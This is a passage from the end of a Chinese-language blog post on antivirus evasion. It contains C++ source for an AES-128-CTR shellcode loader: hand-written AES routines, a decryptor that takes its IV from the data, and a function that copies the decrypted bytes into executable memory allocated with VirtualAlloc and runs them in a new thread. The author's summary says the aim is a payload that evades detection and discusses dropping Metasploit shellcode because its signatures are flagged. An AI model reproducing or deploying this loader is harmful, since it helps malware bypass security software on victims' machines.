            uint8_t t = temp[0];
            temp[0] = temp[1]; temp[1] = temp[2]; temp[2] = temp[3]; temp[3] = t;
            temp[0] = sbox[temp[0]]; temp[1] = sbox[temp[1]]; temp[2] = sbox[temp[2]]; temp[3] = sbox[temp[3]];
            temp[0] ^= rcon[(i/16)-1];
        }
        expandedKey[i] = expandedKey[i-16] ^ temp[0];
        expandedKey[i+1] = expandedKey[i-15] ^ temp[1];
        expandedKey[i+2] = expandedKey[i-14] ^ temp[2];
        expandedKey[i+3] = expandedKey[i-13] ^ temp[3];
        i += 4;
    }
}

void AES128_EncryptBlock(uint8_t input[16], uint8_t key[16], uint8_t output[16]) {
    uint8_t state[4][4], expandedKey[176];
    // 初始化状态矩阵(列优先)
    for (int i = 0; i < 4; i++)
        for (int j = 0; j < 4; j++)
            state[j][i] = input[i*4 + j];
    KeyExpansion(key, expandedKey);

    // 初始轮密钥加
    uint8_t roundKey[4][4];
    for (int i = 0; i < 4; i++)
        for (int j = 0; j < 4; j++)
            roundKey[j][i] = expandedKey[i*4 + j];
    AddRoundKey(state, roundKey);

    // 9轮主循环
    for (int round = 1; round < 10; round++) {
        SubBytes(state);
        ShiftRows(state);
        MixColumns(state);
        for (int i = 0; i < 4; i++)
            for (int j = 0; j < 4; j++)
                roundKey[j][i] = expandedKey[round*16 + i*4 + j];
        AddRoundKey(state, roundKey);
    }

    // 第10轮(无MixColumns)
    SubBytes(state);
    ShiftRows(state);
    for (int i = 0; i < 4; i++)
        for (int j = 0; j < 4; j++)
            roundKey[j][i] = expandedKey[10*16 + i*4 + j];
    AddRoundKey(state, roundKey);

    // 输出结果
    for (int i = 0; i < 4; i++)
        for (int j = 0; j < 4; j++)
            output[i*4 + j] = state[j][i];
}

// ===================== AES-128-CTR解密=====================
uint8_t* AES128_CTR_Decrypt(uint8_t* encryptedData, uint8_t* key, int dataLen) {
    // 自动拆分:前16字节=IV(Python随机生成的),剩余=密文
    uint8_t iv[16];
    memcpy(iv, encryptedData, 16);
    uint8_t* ciphertext = encryptedData + 16;
    int cipherLen = dataLen - 16;

    uint8_t* plaintext = new uint8_t[cipherLen]();
    uint8_t counter[16], keyStream[16];
    memcpy(counter, iv, 16); // 计数器初始值=Python生成的随机IV

    // CTR模式核心:加密计数器生成密钥流,异或得到明文
    int blocks = cipherLen / 16;
    int remainder = cipherLen % 16;
    for (int i = 0; i < blocks; i++) {
        AES128_EncryptBlock(counter, key, keyStream);
        for (int j = 0; j < 16; j++)
            plaintext[i*16 + j] = ciphertext[i*16 + j] ^ keyStream[j];
        // 计数器递增(大端序,和Python cryptography库完全一致)
        for (int j = 15; j >= 0; j--) {
            if (++counter[j] != 0) break;
        }
    }
    // 处理剩余字节
    if (remainder > 0) {
        AES128_EncryptBlock(counter, key, keyStream);
        for (int j = 0; j < remainder; j++)
            plaintext[blocks*16 + j] = ciphertext[blocks*16 + j] ^ keyStream[j];
    }
    return plaintext;
}

// ===================== 内存执行Shellcode =====================
void ExecuteShellcode(uint8_t* shellcode, int len) {
    LPVOID mem = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!mem) { printf("内存分配失败:%d\n", GetLastError()); return; }
    memcpy(mem, shellcode, len);
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);
    if (hThread) { WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); }
    VirtualFree(mem, 0, MEM_RELEASE);
}

int main() {
    // 1. 密钥
    std::string keyHex = "替换为你的密钥十六进制字符串"; // 示例:"f8e4d2b0a9c876543210f8e4d2b0a9c8"
    uint8_t key[16];
    for (int i = 0; i < 16; i++)
        key[i] = strtol(keyHex.substr(i*2, 2).c_str(), NULL, 16);

    // 2. 加密数据:替换为encrypted

    uint8_t encryptedData[] = { 
0x99,0x88,0x77,0x66,0x55,0x44,0x33,0x22,0x11,0x00,0xaa,0xbb,0xcc,0xdd,0xee,0xff 
    };  // 输入密文
    int dataLen = sizeof(encryptedData);

    uint8_t* shellcode = AES128_CTR_Decrypt(encryptedData, key, dataLen);
    int shellcodeLen = dataLen - 16; // 明文长度=总长度-16字节IV
    ExecuteShellcode(shellcode, shellcodeLen);
    delete[] shellcode;
    return 0;
}

总结

总结这里,我们以一个结合上述编码和加密技术且最好免杀效果的Payload结束

MSF的Shellcode的行为链、哈希、API调用序列等已经被深度标记,我们这里想着抛弃MSF的Shellcode另寻其他(或尝试去MSF特征),尽管我目前还未掌握自写Shellcode的能力,但为了达到更好的免杀效果我们还是试着突破。

这里我们先留着不急《.-.》

- THE END -
0

非特殊说明,本博所有文章均为博主原创。

共有 1 条评论

  1. aaa

    很有帮助